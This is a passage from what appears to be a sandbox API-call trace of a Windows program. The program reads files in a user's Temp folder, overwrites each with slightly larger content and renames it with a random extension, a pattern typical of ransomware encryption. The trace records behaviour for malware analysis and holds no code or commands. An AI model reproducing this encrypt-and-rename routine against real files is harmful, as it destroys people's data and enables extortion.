0x1d0 [0146.616] GetFileType (hFile=0x1d0) returned 0x1 [0146.616] SetErrorMode (uMode=0x0) returned 0x1 [0146.616] GetFileType (hFile=0x1d0) returned 0x1 [0146.616] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d478 | out: lpFileSizeHigh=0x21d478*=0x0) returned 0x16226 [0146.617] ReadFile (in: hFile=0x1d0, lpBuffer=0x1281c100, nNumberOfBytesToRead=0x16226, lpNumberOfBytesRead=0x21d358, lpOverlapped=0x0 | out: lpBuffer=0x1281c100*, lpNumberOfBytesRead=0x21d358*=0x16226, lpOverlapped=0x0) returned 1 [0146.619] CloseHandle (hObject=0x1d0) returned 1 [0146.726] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\avR1UifnHmhlJS.jpg", nBufferLength=0x105, lpBuffer=0x21ce20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\avR1UifnHmhlJS.jpg", lpFilePart=0x0) returned 0x38 [0146.726] SetErrorMode (uMode=0x1) returned 0x0 [0146.727] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\avR1UifnHmhlJS.jpg" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\avr1uifnhmhljs.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0146.729] GetFileType (hFile=0x1d0) returned 0x1 [0146.729] SetErrorMode (uMode=0x0) returned 0x1 [0146.729] GetFileType (hFile=0x1d0) returned 0x1 [0146.729] WriteFile (in: hFile=0x1d0, lpBuffer=0x1288ac68*, nNumberOfBytesToWrite=0x16230, lpNumberOfBytesWritten=0x21d3d8, lpOverlapped=0x0 | out: lpBuffer=0x1288ac68*, lpNumberOfBytesWritten=0x21d3d8*=0x16230, lpOverlapped=0x0) returned 1 [0146.734] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\avR1UifnHmhlJS.jpg", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\avR1UifnHmhlJS.jpg", lpFilePart=0x0) returned 0x38 [0146.734] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\avR1UifnHmhlJS.jpg.2786ed", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\avR1UifnHmhlJS.jpg.2786ed", lpFilePart=0x0) returned 0x3f [0146.734] SetErrorMode (uMode=0x1) returned 0x0 [0146.734] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\avR1UifnHmhlJS.jpg" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\avr1uifnhmhljs.jpg"), fInfoLevelId=0x0, lpFileInformation=0x21d300 | out: lpFileInformation=0x21d300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf6e28f70, ftCreationTime.dwHighDateTime=0x1d8baf0, ftLastAccessTime.dwLowDateTime=0x68516000, ftLastAccessTime.dwHighDateTime=0x1d8bf97, ftLastWriteTime.dwLowDateTime=0x53f1f500, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x16230)) returned 1 [0146.734] SetErrorMode (uMode=0x0) returned 0x1 [0146.735] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\avR1UifnHmhlJS.jpg" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\avr1uifnhmhljs.jpg"), lpNewFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\avR1UifnHmhlJS.jpg.2786ed" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\avr1uifnhmhljs.jpg.2786ed")) returned 1 [0146.740] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\b8T3auYtVogPw5aYbN8s.gif", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\b8T3auYtVogPw5aYbN8s.gif", lpFilePart=0x0) returned 0x3e [0146.740] SetErrorMode (uMode=0x1) returned 0x0 [0146.740] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\b8T3auYtVogPw5aYbN8s.gif" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\b8t3auytvogpw5aybn8s.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0146.740] GetFileType (hFile=0x1d0) returned 0x1 [0146.740] SetErrorMode (uMode=0x0) returned 0x1 [0146.740] GetFileType (hFile=0x1d0) returned 0x1 [0146.741] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d478 | out: lpFileSizeHigh=0x21d478*=0x0) returned 0x20d3 [0146.741] ReadFile (in: hFile=0x1d0, lpBuffer=0x28f6f10, nNumberOfBytesToRead=0x20d3, lpNumberOfBytesRead=0x21d358, lpOverlapped=0x0 | out: lpBuffer=0x28f6f10*, lpNumberOfBytesRead=0x21d358*=0x20d3, lpOverlapped=0x0) returned 1 [0146.759] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\b8T3auYtVogPw5aYbN8s.gif", nBufferLength=0x105, lpBuffer=0x21ce20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\b8T3auYtVogPw5aYbN8s.gif", lpFilePart=0x0) returned 0x3e [0146.760] SetErrorMode (uMode=0x1) returned 0x0 [0146.760] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\b8T3auYtVogPw5aYbN8s.gif" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\b8t3auytvogpw5aybn8s.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0146.761] GetFileType (hFile=0x1d0) returned 0x1 [0146.761] SetErrorMode (uMode=0x0) returned 0x1 [0146.761] GetFileType (hFile=0x1d0) returned 0x1 [0146.762] WriteFile (in: hFile=0x1d0, lpBuffer=0x29e0e78*, nNumberOfBytesToWrite=0x20e0, lpNumberOfBytesWritten=0x21d3d8, lpOverlapped=0x0 | out: lpBuffer=0x29e0e78*, lpNumberOfBytesWritten=0x21d3d8*=0x20e0, lpOverlapped=0x0) returned 1 [0146.764] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\b8T3auYtVogPw5aYbN8s.gif", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\b8T3auYtVogPw5aYbN8s.gif", lpFilePart=0x0) returned 0x3e [0146.765] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\b8T3auYtVogPw5aYbN8s.gif.90vseg", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\b8T3auYtVogPw5aYbN8s.gif.90vseg", lpFilePart=0x0) returned 0x45 [0146.765] SetErrorMode (uMode=0x1) returned 0x0 [0146.765] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\b8T3auYtVogPw5aYbN8s.gif" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\b8t3auytvogpw5aybn8s.gif"), fInfoLevelId=0x0, lpFileInformation=0x21d300 | out: lpFileInformation=0x21d300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd35975f0, ftCreationTime.dwHighDateTime=0x1d8b492, ftLastAccessTime.dwLowDateTime=0x8e377b60, ftLastAccessTime.dwHighDateTime=0x1d8b696, ftLastWriteTime.dwLowDateTime=0x53f6b7c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x20e0)) returned 1 [0146.765] SetErrorMode (uMode=0x0) returned 0x1 [0146.765] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\b8T3auYtVogPw5aYbN8s.gif" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\b8t3auytvogpw5aybn8s.gif"), lpNewFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\b8T3auYtVogPw5aYbN8s.gif.90vseg" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\b8t3auytvogpw5aybn8s.gif.90vseg")) returned 1 [0146.768] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\BpP08o7.mp4", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\BpP08o7.mp4", lpFilePart=0x0) returned 0x31 [0146.768] SetErrorMode (uMode=0x1) returned 0x0 [0146.771] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\BpP08o7.mp4" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\bpp08o7.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0146.772] GetFileType (hFile=0x1d0) returned 0x1 [0146.772] SetErrorMode (uMode=0x0) returned 0x1 [0146.772] GetFileType (hFile=0x1d0) returned 0x1 [0146.772] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d478 | out: lpFileSizeHigh=0x21d478*=0x0) returned 0x911f [0146.772] ReadFile (in: hFile=0x1d0, lpBuffer=0x29e3f10, nNumberOfBytesToRead=0x911f, lpNumberOfBytesRead=0x21d358, lpOverlapped=0x0 | out: lpBuffer=0x29e3f10*, lpNumberOfBytesRead=0x21d358*=0x911f, lpOverlapped=0x0) returned 1 [0146.934] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\BpP08o7.mp4", nBufferLength=0x105, lpBuffer=0x21ce20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\BpP08o7.mp4", lpFilePart=0x0) returned 0x31 [0146.934] SetErrorMode (uMode=0x1) returned 0x0 [0146.934] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\BpP08o7.mp4" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\bpp08o7.mp4"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0146.936] GetFileType (hFile=0x1d0) returned 0x1 [0146.936] SetErrorMode (uMode=0x0) returned 0x1 [0146.936] GetFileType (hFile=0x1d0) returned 0x1 [0146.937] WriteFile (in: hFile=0x1d0, lpBuffer=0x28fa590*, nNumberOfBytesToWrite=0x9120, lpNumberOfBytesWritten=0x21d3d8, lpOverlapped=0x0 | out: lpBuffer=0x28fa590*, lpNumberOfBytesWritten=0x21d3d8*=0x9120, lpOverlapped=0x0) returned 1 [0146.939] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\BpP08o7.mp4", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\BpP08o7.mp4", lpFilePart=0x0) returned 0x31 [0146.939] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\BpP08o7.mp4.3q4h2s", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\BpP08o7.mp4.3q4h2s", lpFilePart=0x0) returned 0x38 [0146.940] SetErrorMode (uMode=0x1) returned 0x0 [0146.940] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\BpP08o7.mp4" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\bpp08o7.mp4"), fInfoLevelId=0x0, lpFileInformation=0x21d300 | out: lpFileInformation=0x21d300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x20adab00, ftCreationTime.dwHighDateTime=0x1d8b6c3, ftLastAccessTime.dwLowDateTime=0x150840a0, ftLastAccessTime.dwHighDateTime=0x1d8bb80, ftLastWriteTime.dwLowDateTime=0x5410e6e0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x9120)) returned 1 [0146.940] SetErrorMode (uMode=0x0) returned 0x1 [0146.940] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\BpP08o7.mp4" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\bpp08o7.mp4"), lpNewFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\BpP08o7.mp4.3q4h2s" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\bpp08o7.mp4.3q4h2s")) returned 1 [0146.942] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\C_98-V0.png", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\C_98-V0.png", lpFilePart=0x0) returned 0x31 [0146.942] SetErrorMode (uMode=0x1) returned 0x0 [0146.942] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\C_98-V0.png" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\c_98-v0.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0146.943] GetFileType (hFile=0x1d0) returned 0x1 [0146.943] SetErrorMode (uMode=0x0) returned 0x1 [0146.943] GetFileType (hFile=0x1d0) returned 0x1 [0146.943] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d478 | out: lpFileSizeHigh=0x21d478*=0x0) returned 0x14dc [0146.943] ReadFile (in: hFile=0x1d0, lpBuffer=0x29045e8, nNumberOfBytesToRead=0x14dc, lpNumberOfBytesRead=0x21d358, lpOverlapped=0x0 | out: lpBuffer=0x29045e8*, lpNumberOfBytesRead=0x21d358*=0x14dc, lpOverlapped=0x0) returned 1 [0146.963] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\C_98-V0.png", nBufferLength=0x105, lpBuffer=0x21ce20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\C_98-V0.png", lpFilePart=0x0) returned 0x31 [0146.963] SetErrorMode (uMode=0x1) returned 0x0 [0146.963] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\C_98-V0.png" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\c_98-v0.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0146.965] GetFileType (hFile=0x1d0) returned 0x1 [0146.965] SetErrorMode (uMode=0x0) returned 0x1 [0146.965] GetFileType (hFile=0x1d0) returned 0x1 [0146.965] WriteFile (in: hFile=0x1d0, lpBuffer=0x29eac68*, nNumberOfBytesToWrite=0x14e0, lpNumberOfBytesWritten=0x21d3d8, lpOverlapped=0x0 | out: lpBuffer=0x29eac68*, lpNumberOfBytesWritten=0x21d3d8*=0x14e0, lpOverlapped=0x0) returned 1 [0146.967] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\C_98-V0.png", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\C_98-V0.png", lpFilePart=0x0) returned 0x31 [0146.967] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\C_98-V0.png.0tr42v", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\C_98-V0.png.0tr42v", lpFilePart=0x0) returned 0x38 [0146.967] SetErrorMode (uMode=0x1) returned 0x0 [0146.967] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\C_98-V0.png" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\c_98-v0.png"), fInfoLevelId=0x0, lpFileInformation=0x21d300 | out: lpFileInformation=0x21d300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe133d7f0, ftCreationTime.dwHighDateTime=0x1d8b0b5, ftLastAccessTime.dwLowDateTime=0x9d632940, ftLastAccessTime.dwHighDateTime=0x1d8b9cf, ftLastWriteTime.dwLowDateTime=0x5415a9a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x14e0)) returned 1 [0146.967] SetErrorMode (uMode=0x0) returned 0x1 [0146.968] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\C_98-V0.png" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\c_98-v0.png"), lpNewFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\C_98-V0.png.0tr42v" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\c_98-v0.png.0tr42v")) returned 1 [0146.970] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\dsXGshyj.xlsx", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\dsXGshyj.xlsx", lpFilePart=0x0) returned 0x33 [0146.970] SetErrorMode (uMode=0x1) returned 0x0 [0146.970] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\dsXGshyj.xlsx" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\dsxgshyj.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0146.971] GetFileType (hFile=0x1d0) returned 0x1 [0146.971] SetErrorMode (uMode=0x0) returned 0x1 [0146.991] GetFileType (hFile=0x1d0) returned 0x1 [0146.991] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d478 | out: lpFileSizeHigh=0x21d478*=0x0) returned 0x18621 [0146.993] ReadFile (in: hFile=0x1d0, lpBuffer=0x128a0ec8, nNumberOfBytesToRead=0x18621, lpNumberOfBytesRead=0x21d358, lpOverlapped=0x0 | out: lpBuffer=0x128a0ec8*, lpNumberOfBytesRead=0x21d358*=0x18621, lpOverlapped=0x0) returned 1 [0147.106] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\dsXGshyj.xlsx", nBufferLength=0x105, lpBuffer=0x21ce20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\dsXGshyj.xlsx", lpFilePart=0x0) returned 0x33 [0147.107] SetErrorMode (uMode=0x1) returned 0x0 [0147.107] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\dsXGshyj.xlsx" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\dsxgshyj.xlsx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0147.109] GetFileType (hFile=0x1d0) returned 0x1 [0147.109] SetErrorMode (uMode=0x0) returned 0x1 [0147.109] GetFileType (hFile=0x1d0) returned 0x1 [0147.109] WriteFile (in: hFile=0x1d0, lpBuffer=0x1291ae30*, nNumberOfBytesToWrite=0x18630, lpNumberOfBytesWritten=0x21d3d8, lpOverlapped=0x0 | out: lpBuffer=0x1291ae30*, lpNumberOfBytesWritten=0x21d3d8*=0x18630, lpOverlapped=0x0) returned 1 [0147.112] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\dsXGshyj.xlsx", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\dsXGshyj.xlsx", lpFilePart=0x0) returned 0x33 [0147.113] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\dsXGshyj.xlsx.rlteh8", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\dsXGshyj.xlsx.rlteh8", lpFilePart=0x0) returned 0x3a [0147.113] SetErrorMode (uMode=0x1) returned 0x0 [0147.113] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\dsXGshyj.xlsx" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\dsxgshyj.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x21d300 | out: lpFileInformation=0x21d300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb80374d0, ftCreationTime.dwHighDateTime=0x1d8b1b9, ftLastAccessTime.dwLowDateTime=0x169dbaf0, ftLastAccessTime.dwHighDateTime=0x1d8b7e1, ftLastWriteTime.dwLowDateTime=0x542d7760, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x18630)) returned 1 [0147.113] SetErrorMode (uMode=0x0) returned 0x1 [0147.113] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\dsXGshyj.xlsx" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\dsxgshyj.xlsx"), lpNewFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\dsXGshyj.xlsx.rlteh8" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\dsxgshyj.xlsx.rlteh8")) returned 1 [0147.134] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\dvnjFpGyCrr4q.odp", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\dvnjFpGyCrr4q.odp", lpFilePart=0x0) returned 0x37 [0147.134] SetErrorMode (uMode=0x1) returned 0x0 [0147.134] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\dvnjFpGyCrr4q.odp" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\dvnjfpgycrr4q.odp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0147.135] GetFileType (hFile=0x1d0) returned 0x1 [0147.135] SetErrorMode (uMode=0x0) returned 0x1 [0147.135] GetFileType (hFile=0x1d0) returned 0x1 [0147.135] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d478 | out: lpFileSizeHigh=0x21d478*=0x0) returned 0x16464 [0147.139] ReadFile (in: hFile=0x1d0, lpBuffer=0x12933490, nNumberOfBytesToRead=0x16464, lpNumberOfBytesRead=0x21d358, lpOverlapped=0x0 | out: lpBuffer=0x12933490*, lpNumberOfBytesRead=0x21d358*=0x16464, lpOverlapped=0x0) returned 1 [0147.167] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\dvnjFpGyCrr4q.odp", nBufferLength=0x105, lpBuffer=0x21ce20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\dvnjFpGyCrr4q.odp", lpFilePart=0x0) returned 0x37 [0147.168] SetErrorMode (uMode=0x1) returned 0x0 [0147.168] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\dvnjFpGyCrr4q.odp" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\dvnjfpgycrr4q.odp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0147.215] GetFileType (hFile=0x1d0) returned 0x1 [0147.216] SetErrorMode (uMode=0x0) returned 0x1 [0147.216] GetFileType (hFile=0x1d0) returned 0x1 [0147.216] WriteFile (in: hFile=0x1d0, lpBuffer=0x129a2b38*, nNumberOfBytesToWrite=0x16470, lpNumberOfBytesWritten=0x21d3d8, lpOverlapped=0x0 | out: lpBuffer=0x129a2b38*, lpNumberOfBytesWritten=0x21d3d8*=0x16470, lpOverlapped=0x0) returned 1 [0147.221] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\dvnjFpGyCrr4q.odp", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\dvnjFpGyCrr4q.odp", lpFilePart=0x0) returned 0x37 [0147.222] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\dvnjFpGyCrr4q.odp.pl1oog", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\dvnjFpGyCrr4q.odp.pl1oog", lpFilePart=0x0) returned 0x3e [0147.222] SetErrorMode (uMode=0x1) returned 0x0 [0147.222] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\dvnjFpGyCrr4q.odp" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\dvnjfpgycrr4q.odp"), fInfoLevelId=0x0, lpFileInformation=0x21d300 | out: lpFileInformation=0x21d300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf44c6050, ftCreationTime.dwHighDateTime=0x1d8c037, ftLastAccessTime.dwLowDateTime=0xf0eb1730, ftLastAccessTime.dwHighDateTime=0x1d8c0d7, ftLastWriteTime.dwLowDateTime=0x543bbfa0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x16470)) returned 1 [0147.222] SetErrorMode (uMode=0x0) returned 0x1 [0147.222] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\dvnjFpGyCrr4q.odp" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\dvnjfpgycrr4q.odp"), lpNewFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\dvnjFpGyCrr4q.odp.pl1oog" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\dvnjfpgycrr4q.odp.pl1oog")) returned 1 [0147.225] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\dvwxkOLIiLo8iOIR.pdf", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\dvwxkOLIiLo8iOIR.pdf", lpFilePart=0x0) returned 0x3a [0147.226] SetErrorMode (uMode=0x1) returned 0x0 [0147.226] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\dvwxkOLIiLo8iOIR.pdf" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\dvwxkoliilo8ioir.pdf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0147.226] GetFileType (hFile=0x1d0) returned 0x1 [0147.226] SetErrorMode (uMode=0x0) returned 0x1 [0147.226] GetFileType (hFile=0x1d0) returned 0x1 [0147.226] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d478 | out: lpFileSizeHigh=0x21d478*=0x0) returned 0x90d7 [0147.226] ReadFile (in: hFile=0x1d0, lpBuffer=0x29c0e80, nNumberOfBytesToRead=0x90d7, lpNumberOfBytesRead=0x21d358, lpOverlapped=0x0 | out: 